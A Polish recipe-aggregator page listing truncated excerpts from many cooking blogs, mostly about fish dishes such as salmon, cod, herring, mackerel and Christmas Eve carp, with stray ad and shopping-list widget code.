ilości i co do jakości - nie ma objadania się, dania należą do biednego menu. W sobotę nadal nie jemy mięsa, ale nie ma już rygoru ilościowego, jest obiad z rybą w roli głównej, niektórzy sięgają po ciasto drożdżowe. Na blogu pojawiło się już tyle przepisów, że postanowiłam zrobić zestawienie sałatek, które możecie wykorzystać w te dwa najbliższe dni, jeśli(...)kaparami Ziemniaczana sałatka ze śledziami Sałatki bezmięsne : Sałatka pieczarkowa z jajkami i porem (z jajkami) Żółta sałatka (z jajkami) Sałatka jarzynowa (z jajkami) Sałatka ziemniaczana  pieczarkami Sałatki z rybami (innymi niż śledzie) : Sałatka z kalafiorem i tuńczykiem Sałata z wędzoną makrelą i pomidorkami Sałatka z ciecierzycy   Sałatka z łososiem i awokado "Lato miłości" Wiliama Trevora leżało u mnie

Weekendy w domu i ogrodzie
Kasza bulgur z grillowanymi warzywami i zapiekanym dorszem 163

będzie dobra dla Was. Ja nie dodaję soli. Warzywa : pieczarki i cukinię kroje, grilluje na patelni, dodaje startą marchewkę i natkę pietruszki. Doprawiam solą, pieprzem i ziołami prowansalskimi. Ryba : filety myję, osuszam i kładę w naczyniu żaroodpornym. Doprawiam solą, pieprzem i całą rybę obtaczam w ajwarze. Zapiekam w piekarniku około 20 min w 180 stopniach. Gotowe

Bike By Life
obiad w 30 mnut 144

tartą Dodać sól i pieprz do smaku -(w małych ilościach) , po czym dobrze ponownie wszystko wymieszać. W osobnej misce wymieszać jajka z sokiem z połowy cytryny. Przed smażeniem wkładamy rybę do jajek, a potem obtaczamy w panierce Rozgrzać oliwę i smażyć w nim rybę. Można smażyć krótko i dopiekać w piekarniku jak u mnie . Sałatka:  Rzodkiewki kroimy w plasterki

w mojej kuchni
Dorsz po baskijsku – duszona ryba z warzywami 130

powodów nie lubicie pikantnych dań, to zamiast tego możecie użyć innych przypraw. Zachęcamy do tworzenia własnych wariacji :) Dorsz po baskijsku jest daniem lekkim i zdrowym. Duszone warzywa jak i ryba nie dostarczą Wam problemów trawiennych. To bezglutenowe danie z pewnością zasługuje na Waszą uwagę! :) Artykuł Dorsz po baskijsku – duszona ryba z warzywami pochodzi z serwisu Ciasna Kuchnia

Ciasna Kuchnia
O Tym Jak Woll Lite Diamont Podbił Moje Serce i Kuchnię 131

dość ciężka jak dla mnie? Tym razem wybrałam patelnię prostokątną o wymiarach 30 cm x 26 cm. To był strzał w dziesiątkę, bo to jest idealny wymiar do smażenia ryb w całości, do zapiekania lazanii, ale przede wszystkim jest to idealny rozmiar dla mnie, bo spokojnie mogę ją utrzymać w jednej ręce i dla mnie osobiście jest niezwykle poręczna(...)Woll Lite Diamont przebija je wszystkie jakością, wykonaniem i trwałością, a przystosowanie patelni do 250 stopni daje nam nieograniczone możliwości jej wykorzystania. Tymczasem zerknijcie jak łatwo można usmażyć rybę tylko spryskaną oliwą i jak wygląda patelnia po wszystkim. Wiecie tez również jak zapieka się w szynka parmeńska tworząc na powierzchni naczyń klejącą twardą skorupę, tak wygląda zapieczona patelnia po przygotowaniu

Blondynka Gotuje
Uczciwa włoska kuchnia w Mercato Bar i Delikatesy - recenzja 103

takie jakie lubię, czyli krótkie. Mamy tu dobre na lunch kanapki i sałatki, proste zupy i makarony, deski serów i wędlin umożliwiające poznanie oferty delikatesów. Zadowoleni będą również miłośnicy ryb i owoców morza. W karcie jest kilka propozycji, które wypróbował mój Mąż. Znajdzie się nawet coś dla wegan (penne al pomodoro, spaghetti alio olio, bruschetta al pomodoro), choć nie mają(...)Mój Mąż z kolei skusił się na specjalność dnia - cienkie plastry surowego łososia marynowanego w occie balsamicznym i oliwie (14 zł) . Danie niestety nie zrobiło na nim wrażenia, ryba była kompletnie nie słona. Dużo bardziej smakowało mu podane obok świeże pieczywo maczane w pieprznej oliwie. Na danie główne wybrałam makaron lumaconi (duże muszle) nadziewany papryką i cukinią zapieczony z mozzarellą

Chilli Czosnek i Oliwa
Fit przepisy na blogu 155

SUSZONYM POMIDOREM PSTRĄG GRILLOWANY MIKSTURA OCZYSZCZAJĄCA SAŁATKA Z ANANASA KURCZAK Z WARZYWAMI TWAROŻEK Z POMIDOREM I SZCZYPIORKIEM KOKTAJL Z KIWI I BANAN DIETETYCZNA SAŁATKA Z SELERA KOKTAJL ARBUZOWO-TRUSKAWKOWY RYBA NA WARZYWNEJ PIERZYNCE FILET Z INDYKA W WARZYWACH SZPARAGI Z GRILLA SAŁATKA BROKUŁOWA PASTA TWAROGOWA Z SERA KOZIEGO SAŁATKA Z RUKOLĄ I KURCZAKIEM OMLET Z JAGODAMI I CYNAMONEM ZIELONA HERBATKA(...)SKORUPCE ŁUPINY CZ.2 ŁOSOŚ Z SOSEM WARZYWNYM MIKSTURA OCZYSZCZAJĄCA Z TOKSYN OTRĘBY OWSIANE W DIECIE SAŁATKA BROKUŁOWA Z KURCZAKIEM OWSIANE PLACUSZKI Z SOSEM HERBATA Z CZYSTKA KISZONA DOMOWA KAPUSTA RYBA Z WARZYWAMI SMACZNEGO Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Mini frittaty, czyli jak zamienić resztki z obiadu w posiłek do pracy lub szkoły + PREZENT 154

wypełnić dowolnymi składnikami, zalać rozbełtanym jajkiem i upiec z piekarniku. Jako nadzienie do frittaty możesz wykorzystać to, co zostało Ci z obiadu - warzywa gotowane czy takie z patelni, kawałek ryby czy mięsa, a nawet ryż czy kaszę. Dodatek tych ostatnich może nieco dziwić, ale z drugiej strony dzięki nim jajeczne muffinki przemienią się w pełnowartościowy posiłek. Mi się taka idea(...)Zajrzyjcie do dziewczyn i zobaczcie, co przygotowały.  Mini frittaty do pracy lub szkoły Składniki / 12 sztuk: ok. 250 g pozostałości z obiadu, np. gotowanych warzyw, gotowanej lub pieczonej ryby, ryżu, kaszy, możemy te składniki uzupełnić świeżymi ziołami, kawałkiem sera, np. fety 6-7 jajek (zależy od ich wielkości) 2 łyżki mleka (u mnie roślinne) lub śmietany sól i pieprz

Chilli Czosnek i Oliwa
PIECZYWO Z PASTĄ JAJECZNĄ - KOLACJA DIETA 1500 KCAL. 193

Uwielbiam takie pasty z rybą. Mają wiele mikroelementów i są przepyszne. Danie ma 318 KCAL. 1 śr.wielkości kromka żytniego razowego chleba 30 g. 1 jajko ugotowane na twardo 50 g. 0.5 op.puszki szprotek w oleju 55 g. 1 łyżka posiekanego szczypiorku 3 g. herbata niesłodzona bez ograniczeń **************************************************** Kromki chleba posmarować PASTĄ jajeczno - rybną. Ugotowane jajko obrać ,białko drobno posiekać(...)żółtko utrzeć z rybą .Wymieszać z posiekanym szczypiorkiem

Kocurkowe rozmyślania w kuchni Anielki
Filety rybne gotowane z zielonym groszkiem 160

obieramy siekamy drobniutko. Na patelni rozgrzewamy olej wkładamy groszek, cebulę oraz pomidory chwilkę podsmażyć wlewamy bulion warzywny przyprawiamy tymiankiem solą i pieprzem gotujemy warzywa około 5 minut. Filety z ryby kroimy na połowę posypujemy solą i pieprzem dodajemy do gotującego sosu warzywnego przykrywamy pokrywką gotujemy do 10 minut. W trakcie gotowania delikatnie odwracamy filety rybne i gotujemy jeszcze przez(...)minuty. Rybę przekładamy delikatnie do miski, zalewamy sosem warzywnym i posypujemy natką pietruszki. Podajemy na gorąco z ryżem lub na zimno. Smacznego

kgwjanczewo
Jajecznica z wędzonym łososiem 163

boczek. Zamieniając przaśną wędzoną wędlinę na mięso wędzonego na zimno łososia nie rezygnujemy z wędzonego smaku i dymnego aromatu, zmieniamy tylko jego intensywność, a w przypadku użycia ryby –również konsystencję całości. Ta jajecznica jest mocno wilgotna, puszysta i delikatna. Jajka wbijamy do głębokiej miski, wlewamy do nich śmietankę. Szczypior drobno siekamy, ser ścieramy na tarce o drobnych oczkach. Jajka ubijamy

Karo in the Kitchen
Paprykarz 141

przybytku. Śpiochy przybywający po południu, mogą jedynie zobaczyć jak ktoś przed nim kupuje ostatnią porcję. Po kilkukrotnych fiaskach zakupowych (skończył się wcześniej niż zawsze) i odkryciu zalegających w zamrażalce ryb, podjęłam się wyzwania odtworzenia tego smaku. Przyznam, że nie planowałam tego, ale jest, to dokładnie to, co powinno być. Tak powinien smakować paprykarz! Spróbujcie sami. nie jest to takie skomplikowane(...)marchewki jedna duża cebula łyżeczka wędzonej papryki jedna wędzona makrela sól, pieprz kolorowy, cukier 300 g ryżu jaśminowego 2-3 papryczki chilli lub czerwona papryka słodka (opcjonalnie). Przygotowanie: Rybę osuszyć papierowymi ręcznikami. Przyprawić solą i pieprzem, a następnie usmażyć na małej ilości tłuszczu. Cebulę pokroić w kostkę i również podsmażyć na patelni. Marchewkę polecam gotować razem z ryżem. Oczywiście obraną

Karczma Honorietty
Pasta z wędzonej makreli 160

smaku Wykonanie: Makrelę obierz ze skóry, usuń ości, włóż do miski. Posiekaj drobno koperek oraz cebulę, dodaj do makreli wraz z twarogiem, majonezem i chrzanem. Rozdrobnij twaróg i rybę widelcem, następnie wymieszaj dokładnie całość. Dopraw na końcu solą i pieprzem do smaku. Moja propozycja podania pasty - wybierz swoje ulubione grissini. Pasta świetnie smakuje też z różnymi rodzajami chleba, najlepiej grubo

Garniec Magalie
Pomysły na przystawki na imprezę – tradycyjne polskie przepisy! 211

smażenia, 4 łyżki mąki. Przygotowanie: Myjemy śledzie i osuszamy. Następnie każdy z kawałków obtaczamy w mące i smażymy, aż nabiorą złotej barwy. Należy uważać, aby nie uszkodzić kawałków ryby. W międzyczasie należy zagotować wodę w garnku z octem, cukrem i garścią ziela i pieprzu. Po zagotowaniu studzimy mieszankę. Kroimy cebulę w krążki i wkładamy do naczynia, w którym będziemy marynować(...)śledzie. Wstawiamy tam także rybę i zalewamy mieszaniną wody i octu. Odstawiamy do lodówki na 3-4 dni. Przed podaniem wykładamy na talerz i dekorujemy świeżym koperkiem. Inną potrawą, która nada się idealnie na imprezę, jest tatar wołowy – oczywiście pod warunkiem, że wybierzemy świeże mięso i dobrej jakości dodatki. Świetnie pasuje zwłaszcza do czystej wódki. Białko mięsa pomoże rozłożyć alkohol

Ciasta ciastka ciasteczka Słodka chwila zapomnienia
pierogi z niemieckim sosem 202

prostokąciki z falbankami po 3 stronach. Pierożki podałam z niemieckim sosem , na który przepis - chyba z przekory - zapisałam sobie już dawno. Przepis zakładał, że sos podawany ma być do ryb duszonych lub pieczonych, a ponieważ ryb nie jadam, dopasowałam go do swoich potrzeb i gustów, i podałam do pierogów. Wyszło przepysznie! składniki: ciasto: 1 szkl mąki 1 jajko 1/4 szkl

6niebo
Pstrąg łososiowy na rukoli z sosem kaparowym 197

kaparowy Ugrillowałam pstrąga łososiowego, podałam go na sałatce z rukoli z dodatkiem w/w sosu. Całość wyszła pyyszna. Lekko ostry, wyrazisty sos idealnie pasował do ryby, a sałatka była idealnym dodatkiem. Polecam wypróbować przepis, dajcie koniecznie znać jak Wam smakowało Post Pstrąg łososiowy na rukoli z sosem kaparowym pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
SUMAKLI SOĞAN, czyli cebula z sumakiem 194

Pasuje jako dodatek do ryb lub czerwonego mięsa. Porcja dla 2 osób. Smacznego! Składniki 1 cebula czerwona 1 łyżeczka sumaku sól Przygotowanie Cebulę obrać, umyć i pokroić w plasterki. Posypać sumakiem i solą. Wymieszać. Podawać razem z rybą lub mięsem. Artykuł SUMAKLI SOĞAN, czyli cebula z sumakiem pochodzi z serwisu Tureckie Przepisy

Tureckie Przepisy
Piątkowe Inspiracje - Kotlety rybne z kaszą jaglaną 176

koperku. Można je jeść do obiadu z ziemniakami lub ryżem, a można zrobić pyszne burgery rybne - z bułką i masą świeżych warzyw. Polecam,to kolejny sposób na przemycenie dzieciom ryby i kaszy jaglanej. 1 filet mrożonego dorsza 1 szklanka ugotowanej kaszy jaglanej pęczek koperku 0,5 cebuli sól pieprz czarny żółtko 1 ząbek czosnku bułka tarta (adsbygoogle = window.adsbygoogle || []).push({}); Filet(...)rozmrozić, pokroić na mniejsze kawałki. W maszynce do mielenia mięsa zmielić rybę, kaszę jaglaną (można ją dodać bez mielenia, ale ja chciałam mieć całkiem gładkie kotlety), cebulę i posiekany koperek. Do masy rybnej dodać żółtko, sól, pieprz, przeciśnięty przez praskę czosnek i dokładnie wymieszać. Jeśli masa jest zbyt rzadka, dodać trochę bułki tartej. Formować małe kotleciki, obtoczyć w tartej bułce

Wilczkowy Świat - nasze codzienne gotowanie
makaron z łososiem 149

Obiad na szybko, na smacznie i na kolorowo! Taki właśnie zażyczyła sobie wczoraj moja Córcia. Sama wybrała kawałek fileta z łososia, ja zrobiłam resztę. Obiad jak na wstępie. Wielbiciele ryb powinni być zachwyceni. składniki: 400 g makaronu (moje calamari) ok 200 g filetu z łososia cebula 2 ząbki czosnku 250 g mrożonych warzyw marchewka z groszkiem 1/2 pęczka szczypiorku kilka(...)szkl wody, dusić pod przykryciem aż warzywa zmiękną. Dodać łososia, doprawić do smaku. Trzymać na ogniu kilka minut, sos powinien odparować. Makaron wyłożyć na talerze, na wierzch wyłożyć porcję ryby w warzywach. Posypać koperkiem, udekorować cząstkami pomidorków

6niebo
Zupa porowa z łososiem 152

zajmie 30 minut.  Składniki: 80 dag ziemniaków 30 dag surowego łososia 1 łyżeczka soku z cytryny 20 dag kremowego serka topionego 2 łyżki oliwy 1 łyżeczka ziół do ryb 3 duże pory 2 ząbki czosnku 3 łyżki masła 2 litry rosołu lub bulionu warzywnego Sól lub jarzynka do smaku Pieprz do smaku Sposób przygotowania: Ziemniaki skrobiemy, płuczemy kroimy(...)pieprzem, pod koniec gotowania  gdy warzywa będą miękkie, dodajemy rozdrobniony serek topiony, trzymamy na ogniu aż się rozpuści. Łososia myjemy, osuszamy, oddzielamy od skóry, oprószamy ziołami do ryb, skrapiamy sokiem z cytryny, kroimy w grubszą kostkę i przesmażamy na oliwie na patelni aż będzie miękki, zestawiamy z ognia. Gotową zupę nalewamy do talerzy, posypujemy łososiem, od razu podajemy

Wanilia i Kardamon
Konfitowane cytryny w soli 165

chłodne miejsce na około 2 tygodnie. Przed użyciem do potraw cytryn należy wypukać je dokładnie a do dań używać JEDYNIE skórki. Zmiksowana z masłem jest wspaniałym dodatkiem do ryb. Ja używam do kurczaka duszonego w winie. Drugi sposób: Ćwiartki cytryn oprósz solą morską, dodaj zioła: oregano lub tymianek, włóż ciasno do słoja i zalej 2 szklankami oliwy. Cytryny są dobre(...)dniach. Świetnie smakują ze śledziem lub wędzoną rybą. Moja rada: Moje cytryny stoją już w słoju ok 2 tygodni. Dziś wiem, że zamiast soli morskiej użyłabym sól kamienną niejodowaną

AZgotuj!
MAD MOXXI’S PIZZA – BORDERLANDS 2 – pizza z pepperoni 168

jest pizza produkcji cycatej Mad Moxxi. Jak to w Borderlands bywa, nie jest to najurodziwsza pizza świata (a w dodatku nieco zimna), zwłaszcza, że po przybliżeniu widać na niej rybie szkielety w roli składników, tuż obok pepperoni. Oczywiście w rzeczywistości można ten rarytas zamienić na anchois czyli sardele – mimo, że na zdjęciu zaprezentowaliśmy jedynie grafikę ryb, to jeśli lubicie

Nerds Kitchen
Sałatka z makrelą 150

Lubię sałatki z rybą wędzoną- tym razem z makrelą. Składniki: 1 wędzona makrela 1 zielony ogórek szklarniowy 2 ugotowane jajka ½ słoiczka konserwowej papryki 2 łyżki majonezu 2 łyżki śmietany sól do smaku pieprz do smaku natka pietruszki Wykonanie: Paprykę i obrany ogórek pokroić w kostkę , a rybę oczyścić ze skóry i ości. Jajka obrać i pokroić w kostkę. Następnie połączyć

Tradycyjna Kuchnia
MARYNOWANY ŁOSOŚ W PRZYPRAWACH ( SUROWY ) 118

ziela angielskiego kilka ziaren pieprzu olej około szklanki A jak to zrobić: Sól bardzo dokładnie rozpuścić w wodzie. Łososia umyć i pokroić w kostkę około 2 na 2 cm. Rybę przełożyć do naczynia, może być słoik, i zalać solanką. Odstawić do lodówki na 24 godziny. Przed marynowaniem, łososia należy odcedzić. Cebulę pokroić w piórka i przelać wrzątkiem. Do słoja wkładamy(...)warstwowo kawałki łososia, cebulę i przyprawy. Całość zalewamy olejem. Wstawiamy do lodówki na 48 godzin, aby ryba dobrze się zamarynowała

Kuchnia w opałach
Sałatka z łososiem i pomelo 183

jeść samo, po obraniu z dużej ilości grubej, mięsistej skórki i błonki, lub może być wykorzystane do przygotowania np. sałatek, w których sprawdza się idealnie. Doskonale łączy się z rybami czy drobiem oraz wyrazistymi sosami. Dlatego też dziś przygotowałam bardzo smaczną, lekką i aromatyczną sałatkę z łososiem i pomelo na tajską nutę. Przepis na to danie pochodzi z książki "Chinatown(...)Przygotowanie : Filet z łososia natrzeć oliwą, położyć na zimnej patelni, skórą do dołu, powoli podgrzewać i smażyć na niewielkim ogniu do czasu aż skórka będzie chrupiąca. Następnie zmniejszyć ogień, rybę odwrócić i smażyć przez kolejną minutę lub do czasu aż nie będzie surowa. Zdjąć z patelni i odstawić do ostygnięcia. Zdjąć delikatnie skórę, a łososia podzielić na kawałki wielkości kęsa

Codzienne Gotowanie
"Ryby sa super" - wyniki konkursu 140

może się tak dziać ze nie docierają do mnie maile. No cóż chyba zmienię serwis. Komisja w składzie ja i Przemek wybraliśmy 2 smakowite propozycje na dania z ryb. Książki wędrują do:  Sylwia Drożdż za "Ziemniaczaną roladę z rybą w sosie porowym"  oraz  Joanna Seta-Pryjomska za "Pieczoną doradę z czosnkiem i figami na ruszcie z selera

Moje Małe Czarowanie
Surówka z kiszonej kapusty 394

Czas na zdrowe surówki Surówka z kiszonej kapusty w sam raz do dań z rybą Składniki: 500 g kapusty kiszonej 2 marchewki 2 małe cebule 2 łyżki oleju pieprz sól Wykonanie: Kapustę kiszoną wyciskamy w rękach pozbywając się nadmiaru wody. Siekamy nożem na mniejsze "kawałki". Obieramy marchewkę i ścieramy na tarce na dużych oczkach. Cebulę kroimy w kostkę, dodajemy olej(...)Mieszamy wszystko razem i doprawiamy przyprawami według własnego smaku :) Podawać do dań z ryby czy schabowego

W Moim Magicznym Domu
Krokiety z tortilli 1281

skorzystać z poniższego pomysłu. Farsz możecie przyrządzić według własnego gustu.   4 placki tortilla Farsz: 180-200g kremowego serka czosnkowego (może być inny smak) wędlina/mięso/ew. ryba (ilość wg gustu; użyłam pieczonego schabu Dodatkowo: 2 jajka bułka tarta sezam olej sól, pieprz Jajko rozmieszać mikserem z odrobiną soli i pieprzu. Placki posmarować serkiem, ułożyć wędlinę, ew. rybę

Di gotuje
Kotlety z dorsza z suszonymi pomidorami i kaparami 129

Kotlety z dorsza idealnie nadają się na danie główne, lecz na zimno doskonale sprawdzą się jako dodatek do kanapek. Kotlety z ryby są mięciutkie i pyszne. Jeśli przeszkadza Ci tranowy posmak morskiej ryby wystarczy ją co najmniej na godzinę przed przyrządzeniem skropić sokiem z cytryny. Dzisiejsze kotleciki aromatyzowane dodatkiem suszonych  pomidorów i kaparów zadowolą najwybredniejszych smakoszy. Zapraszam do przepisu

Gotuj zdrowo!Guten Appetit!
Zupa rybna z mleczkiem kokosowym i pomidorami czyli Zupowy wtorek i Srodowe Rybki 148

Witajcie o poranku!!! na zegarze wybiła 7.23 :) Mam dzisiaj dla Was wyjątkową zupę. Pełna smaków, pożywna, rozgrzewająca, nic dodać nic ując jedynie ryby trzeba lubić. Przepis jest autorstwa Doroty Wellman i pochodzi z najnowszej książki Lidla "Ryby są super". Jest prosta w przygotowaniu i naprawdę smakuje wybornie :) :) obiecuję, że przepis pojawi się popołudniu

Dzieje kuchennej Wiewióry
Łosoś z sosem z tahini i buraczki 164

poszalałam ale rezultat wyszedł znakomity. Podałam łososia, ulubioną rybę z jeszcze bardziej ukochanymi buraczkami zasmażanymi [ klik ] a całości dopełnił sos majonezowy z tahini, pasuje do wszystkiego jak mówi autor Tomasz Jakubiak. Polecam gorąco sprawcie sobie taki obiad. Łosoś z sosem z tahini i buraczki. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sos koperkowy do ryby dietetyczny 164

Idealny słodko- kwaśny sos do ryb. Składniki: ½ małego jogurtu naturalnego Łyżka miodu ząbek czosnku ½ cytryny Koper świeży lub 1 łyżka suszonego Szczypta soli, pieprzu Koper posiekać, czosnek zmiażdżyć, następnie wycisnąć sok z cytryny, dodać do jogurtu. Doprawić solą, pieprzem i odrobiną miodu. Wymieszać. Podawać jako dodatek(...)ryb

Tradycyjna Kuchnia
Śledź po "fińsku" 152

Przepis na śledzia po fińsku pojawił się w mojej rodzinie ponad dwudzieścia lat temu i stał się częścią menu wigilijnego. Finowe lubią ryby podawane ze słodkiem majonezem, ale nie mam pewności czy akurat ten przepis przywędrował do nas ze Skandynawii.  Być może śledź po fińsku ma tyle wspólnego z Finlandią, co ryba po grecku z Grecją

Simple Dish
8 domowych mieszanek przypraw - bez chemii. 365

oprócz dobrej jakości produktu, są przyprawy. Zdarza się, że z braku czasu idziemy na łatwiznę i zamiast kombinować z różnymi mieszankami, kupujemy po prostu sklepowe. Do pizzy, mięsa, kurczaka, ryb czy nawet ziemniaków - wybór jest naprawdę duży. Niestety czasem nie zdajemy sobie sprawy, że nawet takie pozornie nieszkodliwe mieszanki kryją w sobie mnóstwo niechcianych dodatków.  Okazuje się(...)Przyprawa do marynowania mięs 1 łyżeczka suszonej cebuli 1 łyżeczka czosnku granulowanego 1 łyżeczka ostrej papryki 1 łyżeczka oregano 1 łyżeczka mielonej gorczycy 1 łyżeczka lubczyku 3. Przyprawa do ryb 1 łyżeczka szałwii 1 łyżeczka tymianku 2 łyżeczki suszonej natki pietruszki 2 łyżeczki bazylii 2 łyżeczki pieprzu cytrynowego 4. Przyprawa do kurczaka 2 łyżki papryki słodkiej 1 łyżeczka papryki ostrej

Powiedz dietom nie
Sushi 160

jego wykonania oraz podania. Sushi to idealne szybkie jedzenie i dodatkowo mało przetworzone. Jest wspaniałe na spotkanie z przyjaciółmi czy szybki lunch w pracy. Sushi możemy przygotować z ryb surowych, pieczonych, wędzonych, z ogórkiem avocado - dowolność według preferencji smakowych. Dziś polecam Wam bardzo smaczne rolki z pieczonym łososiem, z tuńczykiem, wędzoną makrelą, avocado, papryką, jarmużem i lekkim(...)sojowy ciemny ocet sojowy wasabi   liście nori mata bambusowa czarny sezam pałeczki Przygotowanie: Ryż gotujemy ok. 1 godzinę przed przygotowywaniem sushi według instrukcji na opakowaniu.  Ryby kroimy na kawałki a warzywa w paski. Matę bambusową owijamy folią spożywczą (aby ryż nie zachodził), na jej środku umieszczamy liść nori. Na liść nakładamy w 3/4 ryż, następnie przy

Łycha smaków
Szaszłyki z dorsza 124

szparagi 1 łyżka oleju kokosowego sól ziołowa, pieprz cytrynowy kilka plastrów cytryny i limonki Przygotowanie: Filety z dorsza dokładnie myjemy i tniemy w paseczki. Następnie nacieramy solą i pieprzem . Rybę nabijamy wraz z pomidorkami i szparagami na patyczki do szaszłyków. Szaszłyki przekładamy do naczynia żaroodpornego dodajemy olej kokosowy, plastry cytryny i pieczemy przez ok. 20 min. Następnie rybę polewamy

Łycha smaków
Chorwackie smaki 163

upale i zmęczeni szybko złapaliśmy wesołe humory :) Właściciel Stefano zabrał nas na miejscowy targ rybny, tak abyśmy mogli spróbować regionalnych przysmaków. Ilość świeżych i różnorodnych ryb była niesamowita, a każdy sprzedawca mniej lub bardziej zachęcał do kupna tychże morskich wspaniałości.  Nabyliśmy drogą kupna małże, jakieś ryby, które polecił Stefano (niestety nie udało się nam ustalić

Łycha smaków
Ryż do sushi 147

Sushi to japońska potrawa przygotowywana z ugotowanego ryżu, najczęściej zawinięta w liście wodorostów (nori) wraz z dodatkiem ryb jak i owoców morza. Zdaje sobie sprawę, że większość z Was na samą myśl o surowych rybach może mieć wstręt do sushi. Nic bardziej mylnego – sushi możecie przygotować, np. z wędzonym łososiem jak i paluszkami krabowymi.   Niestety ryżu do sushi

Ugotować
MAKARON Z ŁOSOSIEM WĘDZONYM W SOSIE ŚMIETANOWYM 194

śmietanowym  Bardzo smaczne i wykwintne danie a zarazem bardzo szybkie w wykonaniu. Składniki: 100-200 gr łososia wędzonego ( Jeżeli lubimy bardziej nasycony smak dodajemy więcej ryby jeżeli lubimy ten smak łagodniejszy dajemy tej ryby mniej)  1 cebula 3-4 łyżki gęstej śmietany masło do podsmażenia natka pietruszki sol pieprz Przygotowanie

Kulinarnie z Polką na Kresach
Placki z kiszonej kapusty 166

tylko jeśli lubimy i jeśli nie było go w kapuście) sól morska świeżo mielony pieprz olej rzepakowy lub smalec do smażenia opcjonalnie do podania: kwaśna śmietana lub jogurt, wędzona ryba, gulasz listonic_type='fooddrink';listonic_theme='addToShoppingList7';listonic_content='500 g kiszonej kapusty (użyłam domowej, z marchewką) 2 średnie cebule 2 liście laurowe 2 wiejskie jajka 1 czubata szklanka mąki(...)tylko jeśli lubimy i jeśli nie było go w kapuście) sól morska świeżo mielony pieprz olej rzepakowy lub smalec do smażenia opcjonalnie do podania: kwaśna śmietana lub jogurt, wędzona ryba, gulasz'; document.write(" "); Kapustę (ważne, aby była kiszona, a nie kwaszona) próbujemy. Jeśli jest bardzo kwaśna, płuczemy na sitku pod bieżącą wodą, jeśli nie – od razu wkładamy do garnka. Kapustę

Poezja smaku
Pasta twarogowa z wędzoną makrelą 98

zarówno z jasnym, jak i ciemnym pieczywem, ale także z… krakersami :) Wówczas staje się idealną przekąską imprezową :) Tę pastę przygotowujemy dość często, bo bardzo ją lubimy. Gdyby nie obieranie ryby, za czym ani ja, ani mój Mąż, nie przepadamy – na pewno pojawiałaby się na naszym stole o wiele częściej ;) Składniki: 1 wędzona makrela 500 g twarogu półtłustego (może być też(...)pęczek szczypiorku ok. 3 łyżek śmietany 12% sól pieprz Dodatkowo (do podania): kilka rzodkiewek lub biała rzodkiew Wykonanie: Makrelę obieramy ze skóry i dokładnie pozbywamy się wszystkich ości. Rozdrobnioną rybę umieszczamy w misce. Dodajemy twaróg. Całość za pomocą widelca mieszamy ze sobą, aby składniki się połączyły i powstała w miarę jednolita gęsta pasta. Szczypiorek myjemy i drobno siekamy. Dorzucamy

MyCookBook.pl
Podsumowanie akcji "Wytrawne potrawy wigilijne" 149

był jeden z bardziej gorących tygodni w ciągu roku, uważam, że akcja świetnie się nam udała :) Przysłaliście sporo pomysłów na śledzie - zaskakujące, na jak wiele sposobów można podać te ryby. Nie zabrakło przepisów na pierogi, uszka i barszcze czerwone oraz wpisów dotyczących kapusty kiszonej i grzybów. Bardzo dziękuję wszystkim za udział w akcji, w szczególności: Ani, autorce bloga Mops(...)grzybami Barszcz czerwony z suszonymi śliwkami Wigilijne pierogi Babci Stasi Wigilijny śledź w śmietanie Dziadka Edka Wigilijny barszcz z pieczonych buraków Krokiety z kapustą i pieczarkami na Wigilię Ryba po grecku na Wigilię Uszka z pieczarkami na Wigilię Karp smażony w ziołowej panierce Śledzie po cygańsku Kapusta z grochem Kapusta z grzybami po lasowiacku Barszcz czerwony z uszkami Sałatka śledziowa

Weekendy w domu i ogrodzie
Tatar ze śledzia 156

inne okoliczności przyrody wymagają śledzika. W formie dowolnej. Sławetne powiedzenie, że „rybka lubi pływać” zawsze wiąże się z pojawieniem się na stole śledzia. Ilość kombinacji, w jakich podajemy tę rybę jest dowolna. Do tej pory moim faworytem pozostaje „śledź po góralsku”, jak wiemy śledź to ryba typowa dla górskich potoków, huehuehue. Nie wiem, czy wiecie, ale nasz swojski, bałtycki śledź

ladykitchen
Gravlax 181

oczkach. W miseczce wymieszać sól, koperek, skórkę cytrynową i wódkę. Na talerzu ułożyć czystą ściereczkę, którą należy posmarować marynatą (tylko tam, gdzie będzie położony łosoś). Następnie położyć pierwszy kawałek ryby - skórą do dołu. Ponownie wierzch łososia posmarować marynatą. Ułożyć drugi kawałek ryby (skórą do góry) i posmarować pozostałą marynatą. Przygotowanego łososia zawinąć w ściereczkę. Następnie na zawiniętego łososia położyć

Ugotować
Smaczny orzech do zgryzienia - warsztaty z Kikkoman i Tabasco 164

mnie zaskoczył i byłam bardzo ciekawa jaki będzie końcowy efekt kulinarny.  Naszego karpia dostałyśmy w całości, więc najpierw musiałyśmy go odfiletować. Nie filetowałam do tej pory nigdy całej ryby i muszę przyznać, że była to bardzo przydatna czynność tuż przed zbliżającymi się świętami. Następnie przygotowałyśmy owoce, które najpierw przesmażyłyśmy na na maśle, dodałyśmy wina, miodu i korzennych przypraw(...)kokosowych i maku. Smażyłyśmy na złoto z każdej strony. Efekt finalny był zaskakujący. Okazało się, że z kokosa i maku powstała pyszna chrupiąca panierka, która wspaniale kontrastowała ze smażoną rybą.  Bardzo dziękuję markom Kikkoman i Tabasco za zaproszenie na te świąteczne i bardzo inspirujące warsztaty

Kulinarne przygody Gatity
Karp w sosie pomarańczowo - miodowo - winnym (bezglutenowy) 157

sprawiła.  Ale zakupiliśmy 200 gram do domu. Po powrocie odgrzany karp w pysznym sosie. Przepis pochodzi od Małgosi z Igraszek losu. Ten sos zostanie przysposobiony do innych ryb. Tych słodkowodnych. Już go widzę ze szczupakiem.  kilka dzwonek karpia obranego i dobrze osuszonego sok z 2 pomarańczy mąka ziemniaczana do oprószenia ryby olej do smażenia   mała puszka

AZgotuj!
Amur zapiekany z chrzanem na Wigilię 124

